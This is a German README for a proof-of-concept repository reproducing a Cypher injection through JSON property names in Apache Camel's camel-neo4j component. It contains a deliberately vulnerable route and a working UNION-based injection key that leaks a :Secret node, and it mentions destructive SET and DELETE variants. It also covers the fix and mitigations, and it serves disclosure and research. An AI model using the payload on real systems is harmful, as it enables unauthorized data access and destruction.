camel-neo4j Cypher-Injection-Reproducer (CVE-2026-46591)

Dieses Projekt demonstriert eine Cypher-Injection in der camel-neo4j-Komponente von Apache Camel, geführt als CVE-2026-46591. Der Producer erstellt die Cypher-WHERE-Klausel für seine Match-/Abruf- und Löschoperationen aus der CamelNeo4jMatchProperties-Map. CVE-2025-66169 behandelte die Injection über die Eigenschafts-Werte, indem sie als Query-Parameter ($paramN) gebunden wurden – aber die Eigenschafts-Namen (die JSON-Schlüssel dieser Map) werden weiterhin wörtlich in die Query-Zeichenkette in Neo4jProducer.retrieveNodes() und deleteNode() eingefügt. Ein Eigenschaftsname, der Cypher-Syntax enthält, verändert daher die Struktur der ausgeführten Query.

Dieser PoC zeigt die Auswirkungen als Autorisierungs-Bypass / Datenextraktion: Ein Angreifer platziert Cypher in einem JSON-Schlüssel, sodass eine :Person-Suche (via UNION) so umgeschrieben wird, dass sie auch einen :Secret-Knoten zurückgibt, den sie nie berühren sollte – entsprechend dem Advisory: „read, modify or delete any node or relationship“.

Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-46591.html

Schwachstellenübersicht

Folgeproblem der unvollständigen Behebung von CVE-2025-66169 (CAMEL-22719), das die Werte parametrisierte, aber die Eigenschaftsnamen interpoliert ließ. Gleiche, an Header-Injection angrenzende Familie wie CVE-2025-27636, CVE-2026-40453 usw.

Technische Details

// Neo4jProducer.retrieveNodes (affected 4.18.2) — the VALUE is a parameter, the NAME is concatenated verbatim:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
    if (paramIndex > 0) whereClause.append(" AND ");
    String paramName = "param" + paramIndex;
    whereClause.append(alias).append(".").append(entry.getKey())   // <-- entry.getKey() (the JSON key) unescaped
               .append(" = $").append(paramName);
    queryParams.put(paramName, entry.getValue());                  // value is safely bound
    paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);

Mit der harmlosen Map {"name":"alice"} lautet die Query MATCH (n:Person) WHERE n.name = $param0 RETURN n. Mit einem bösartigen Schlüssel:

key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //

wird die erzeugte Query zu (das abschließende // = $param0 RETURN n aus der Vorlage ist auskommentiert):

MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node

sodass die Antwort den :Person-Knoten des Aufrufers und den :Secret-Knoten enthält.

Der Fix (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23528) fügt eine strikte Validierung der Eigenschaftsnamen (^[A-Za-z_][A-Za-z0-9_]*$) sowohl in retrieveNodes() als auch in deleteNode() hinzu und lehnt jeden nicht passenden Namen mit einer Neo4jOperationException ab.

Die Opfer-Route

from("platform-http:/lookup")
    .convertBodyTo(String.class)
    .setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
    .setHeader(Neo4jHeaders.MATCH_PROPERTIES, body())        // untrusted JSON body becomes the match map
    .to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");

Eine API zum „Nachschlagen einer Person anhand von Eigenschaften“: Der Client liefert die Match-Kriterien als JSON, und die Route übergibt sie dem Producer als CamelNeo4jMatchProperties. Der Graph enthält zwei :Person-Knoten sowie einen :Secret-Knoten, dessen value eine Personensuche niemals zurückgeben darf.

Repository-Struktur

Das Opfer ist die Camel-Route und ihre Neo4j-Datenbank; der Angreifer ist ein HTTP-Client, der Cypher in einen JSON-Schlüssel einfügt. Ein kleiner Seeder legt die Knoten an und macht den Start von der Neo4j-Bereitschaft abhängig.

CVE-2026-46591/
├── pom.xml                 # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml      # neo4j 5.26 + the app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── Neo4jSettings.java     # host / bolt / creds / secret flag
    │   ├── Neo4jConfig.java       # the Neo4j Driver bean (referenced as #neo4jDriver)
    │   ├── Neo4jSeeder.java       # waits for Neo4j, seeds :Person + :Secret nodes
    │   ├── VictimRoute.java       # platform-http:/lookup -> neo4j RETRIEVE_NODES
    │   └── ExploitController.java # attacker: legit vs Cypher-in-the-JSON-key
    └── resources/
        └── application.properties

Voraussetzungen

• Docker und Docker Compose (starten Neo4j + die App)
• Java 17+ und Maven 3.8+ (zum Erstellen des JAR)

Reproduktionsschritte

mvn clean package -DskipTests
docker compose up -d --build           # first start pulls the ~1GB neo4j image
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

Erwartete Ausgabe

=== 1) Legitimate lookup  body={"name":"alice"} ===
  [{name=alice, role=user}]
  secret leaked: false

=== 2) Injected lookup  (Cypher in the JSON key) ===
  key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
  [{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
  secret leaked: true

>>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the
>>> :Person lookup should never return: true

Angriffsvektoren

Jede Route, die nicht vertrauenswürdige Daten für eine RETRIEVE_NODES- oder DELETE_NODE-Operation in CamelNeo4jMatchProperties bringt. Über das Lesen anderer Labels per UNION hinaus kann ein injizierter Schlüssel SET/DELETE/DETACH DELETE-Klauseln hinzufügen, um beliebige Knoten und Beziehungen zu verändern oder zu zerstören.

Empfohlener Fix

Upgrade auf 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23528). Nach dem Fix werden Eigenschaftsnamen anhand von ^[A-Za-z_][A-Za-z0-9_]*$ validiert, bevor sie in die Query aufgenommen werden.

Gegenmaßnahmen

Bis zum Upgrade solltest du CamelNeo4jMatchProperties nicht aus nicht vertrauenswürdigen Eingaben befüllen: Validiere oder erlaube nur bestimmte Eigenschaftsnamen (z. B. anhand von ^[A-Za-z_][A-Za-z0-9_]*$), bevor sie an den Neo4j-Producer gehen, und stelle sicher, dass jeder Consumer, der eine solche Route speist, eingehende Camel*- / camel*-Header filtert, damit der Match-Header nicht von einem externen Absender geliefert werden kann.

Haftungsausschluss

Dieser Reproducer dient ausschließlich der Sicherheitsforschung und autorisierten Tests für eine öffentlich bekannt gegebene und behobene Schwachstelle. Verwende ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.